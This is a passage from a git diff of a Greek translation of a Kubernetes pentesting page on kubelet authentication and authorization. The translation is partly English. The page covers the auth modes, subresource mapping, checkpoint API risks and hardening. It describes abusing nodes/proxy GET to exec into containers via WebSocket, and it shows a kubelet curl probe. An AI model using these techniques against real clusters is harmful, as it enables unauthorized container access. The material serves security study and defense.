`http://:10255/pods`, ο επιτιθέμενος μπορεί δυνητικά να ανακτήσει ευαίσθητες πληροφορίες από το kubelet: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index f807adac8..e10718e89 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Πιστοποίηση & Εξουσιοδότηση Kubelet +# Ταυτοποίηση & Εξουσιοδότηση Kubelet {{#include ../../../banners/hacktricks-training.md}} -## Πιστοποίηση Kubelet +## Ταυτοποίηση Kubelet -[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**Από τα docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Από προεπιλογή, τα αιτήματα προς το HTTPS endpoint του kubelet που δεν απορρίπτονται από άλλες ρυθμισμένες μεθόδους ελέγχου ταυτότητας αντιμετωπίζονται ως ανώνυμα αιτήματα και τους δίνεται ένα **όνομα χρήστη `system:anonymous`** και μια **ομάδα `system:unauthenticated`**. +By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**. -Οι **3** μέθοδοι **ελέγχου ταυτότητας** είναι: +Οι **3** authentication **methods** είναι: -- **Anonymous** (προεπιλογή): Χρησιμοποιείται εάν οριστεί η παράμετρος **`--anonymous-auth=true` ή η ρύθμιση:** +- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:** ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Αυτό θα **ενεργοποιήσει** τα kubectl **API bearer tokens** ως εξουσιοδότηση (οποιοδήποτε έγκυρο token θα είναι έγκυρο). Επιτρέψτε το με: -- βεβαιωθείτε ότι το `authentication.k8s.io/v1beta1` API group είναι ενεργοποιημένο στον API server -- ξεκινήστε το kubelet με τις σημαίες **`--authentication-token-webhook`** και **`--kubeconfig`** ή χρησιμοποιήστε την ακόλουθη ρύθμιση: +- **Webhook**: Αυτό θα **ενεργοποιήσει** τα kubectl **API bearer tokens** ως authorization (οποιοδήποτε έγκυρο token θα είναι έγκυρο). Επιτρέψτε το με: +- βεβαιωθείτε ότι το `authentication.k8s.io/v1beta1` API group είναι ενεργοποιημένο στο API server +- ξεκινήστε το kubelet με τα flags **`--authentication-token-webhook`** και **`--kubeconfig`** ή χρησιμοποιήστε την ακόλουθη ρύθμιση: ```json "authentication": { "webhook": { @@ -28,11 +28,11 @@ }, ``` > [!NOTE] -> Το kubelet καλεί το **`TokenReview` API** στον ρυθμισμένο API server για να **προσδιορίσει πληροφορίες χρήστη** από bearer tokens +> Το kubelet καλεί το **`TokenReview` API** στο configured API server για να **determine user information** από bearer tokens -- **X509 client certificates:** Επιτρέπουν την αυθεντικοποίηση μέσω X509 client certificates -- δείτε την [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) για περισσότερες λεπτομέρειες -- ξεκινήστε το kubelet με το flag `--client-ca-file`, παρέχοντας ένα CA bundle για την επαλήθευση των πιστοποιητικών πελάτη. Ή με τη ρύθμιση: +- **X509 client certificates:** Allow to authenticate via X509 client certs +- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details +- start the kubelet με το `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config: ```json "authentication": { "x509": { @@ -42,14 +42,14 @@ ``` ## Kubelet Authorization -Οποιοδήποτε αίτημα που έχει ταυτοποιηθεί επιτυχώς (συμπεριλαμβανομένου ενός ανώνυμου αιτήματος) **εξουσιοδοτείται στη συνέχεια**. Η **προεπιλεγμένη** λειτουργία εξουσιοδότησης είναι **`AlwaysAllow`**, η οποία **επιτρέπει όλα τα αιτήματα**. +Κάθε request που επιτυγχάνει authentication (συμπεριλαμβανομένου ενός anonymous request) **στη συνέχεια γίνεται authorized**. Η **default** λειτουργία authorization είναι η **`AlwaysAllow`**, η οποία **επιτρέπει όλα τα requests**. -Ωστόσο, η άλλη πιθανή τιμή είναι **`webhook`** (που είναι αυτή που θα **βρείτε κυρίως εκεί έξω**). Αυτή η λειτουργία θα **ελέγξει τα δικαιώματα του ταυτοποιημένου χρήστη** για να επιτρέψει ή να απορρίψει μια ενέργεια. +Ωστόσο, η άλλη δυνατή τιμή είναι η **`webhook`** (που είναι αυτό που θα **βρίσκεις κυρίως εκεί έξω**). Αυτή η λειτουργία θα **ελέγχει τα permissions του authenticated user** για να επιτρέψει ή να απορρίψει μια ενέργεια. > [!WARNING] -> Σημειώστε ότι ακόμη και αν η **ανώνυμη ταυτοποίηση είναι ενεργοποιημένη** η **ανώνυμη πρόσβαση** μπορεί **να μην έχει καθόλου δικαιώματα** για να εκτελέσει οποιαδήποτε ενέργεια. +> Σημείωσε ότι ακόμη κι αν είναι ενεργοποιημένο το **anonymous authentication** το **anonymous access** μπορεί να **μην έχει κανένα permission** για να εκτελέσει οποιαδήποτε ενέργεια. -Η εξουσιοδότηση μέσω webhook μπορεί να ρυθμιστεί χρησιμοποιώντας την **παράμετρο `--authorization-mode=Webhook`** ή μέσω του αρχείου διαμόρφωσης με: +Το authorization μέσω webhook μπορεί να ρυθμιστεί χρησιμοποιώντας την **param `--authorization-mode=Webhook`** ή μέσω του config file με: ```json "authorization": { "mode": "Webhook", @@ -59,21 +59,21 @@ } }, ``` -Το kubelet καλεί το **`SubjectAccessReview`** API στον διαμορφωμένο API server για να **καθορίσει** εάν κάθε αίτημα είναι **εξουσιοδοτημένο.** +Το kubelet καλεί το API **`SubjectAccessReview`** στον ρυθμισμένο API server για να **καθορίσει** αν κάθε request είναι **authorized.** -Το kubelet εξουσιοδοτεί αιτήματα API χρησιμοποιώντας την ίδια [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) προσέγγιση με τον apiserver: +Το kubelet authorizes API requests χρησιμοποιώντας την ίδια προσέγγιση [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) όπως το apiserver: -- **Ενέργεια** +- **Action** | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| GET, HEAD | get (για individual resources), list (για collections, συμπεριλαμβανομένου του πλήρους object content), watch (για watching ενός individual resource ή collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (for individual resources), deletecollection (for collections) | +| DELETE | delete (για individual resources), deletecollection (για collections) | -- Ο **resource** που επικοινωνεί με το Kubelet api είναι **πάντα** οι **nodes** και το **subresource** **καθορίζεται** από το path του εισερχόμενου αιτήματος: +- Το **resource** που μιλάει στο Kubelet api είναι **πάντα** **nodes** και το **subresource** **καθορίζεται** από το path του incoming request: | Kubelet API | resource | subresource | | ------------ | -------- | ----------- | @@ -81,23 +81,38 @@ | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | | _all others_ | nodes | proxy | -> [!NOTE] -> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. +Σε modern clusters, το fine-grained kubelet authorization είναι enabled by default. Το Kubernetes v1.36 το έκανε stable: το kubelet πρώτα ελέγχει πιο specific subresources για paths όπως `/pods`, `/runningPods`, `/healthz`, και `/configz` πριν επιστρέψει στο `nodes/proxy` για backward compatibility. -Για παράδειγμα, το ακόλουθο αίτημα προσπάθησε να αποκτήσει πρόσβαση στις πληροφορίες των pods του kubelet χωρίς άδεια: +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +Χρησιμοποίησε αυτά τα πιο στενά subresources για monitoring και diagnostics όπου είναι δυνατό. Απόφυγε να δίνεις ευρεία άδεια `nodes/proxy` για συνηθισμένα metrics, stats, health, pod-listing, ή config review επειδή το `nodes/proxy` εξακολουθεί να καλύπτει APIs του kubelet με μεγαλύτερο impact. + +> [!NOTE] +> Τα WebSocket-based `/exec`, `/run`, `/attach`, και `/portforward` εμπίπτουν στο default **proxy** subresource και authorizes χρησιμοποιώντας το αρχικό HTTP **GET** handshake. Ένας principal με μόνο `nodes/proxy` **GET** μπορεί ακόμα να exec containers αν συνδεθεί απευθείας στο `https://:10250` μέσω WebSockets. Δες το [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) για λεπτομέρειες. + +Το kubelet Checkpoint API (`POST /checkpoint///`) είναι άλλο ένα ευαίσθητο kubelet surface. Το Kubernetes v1.30 έκανε το container checkpointing beta και enabled by default, αλλά ένα request εξακολουθεί να εξαρτάται από kubelet authorization και runtime support όπως CRI-O ή containerd με checkpoint/CRIU capability. Τα επιτυχημένα checkpoints γράφονται κάτω από το kubelet root directory, by default `/var/lib/kubelet/checkpoints`, και μπορεί να περιέχουν process memory με tokens, keys, ή application secrets. Περιόρισε το `nodes/checkpoint`, απενεργοποίησε το παλιό read-only port, περιόρισε την άμεση network reachability προς το kubelet, και παρακολούθησε ή καθάρισε τα checkpoint archives αν το feature χρησιμοποιείται σκόπιμα. + +Για παράδειγμα, το παρακάτω request προσπάθησε να αποκτήσει πρόσβαση στα pods info του kubelet χωρίς permission: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Λάβαμε ένα **Forbidden**, άρα το αίτημα **passed the Authentication check**. Αν όχι, θα είχαμε λάβει απλώς ένα `Unauthorised` μήνυμα. +- Λάβαμε ένα **Forbidden**, άρα το αίτημα **πέρασε τον έλεγχο Authentication**. Αν όχι, θα είχαμε λάβει μόνο ένα μήνυμα `Unauthorised`. - Μπορούμε να δούμε το **username** (σε αυτή την περίπτωση από το token) -- Δες πώς το **resource** ήταν **nodes** και το **subresource** **proxy** (που έχει νόημα με τις προηγούμενες πληροφορίες) +- Δες πώς ο **resource** ήταν **nodes** και το **subresource** **proxy** (που βγάζει νόημα με την προηγούμενη πληροφορία) -## Αναφορές +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}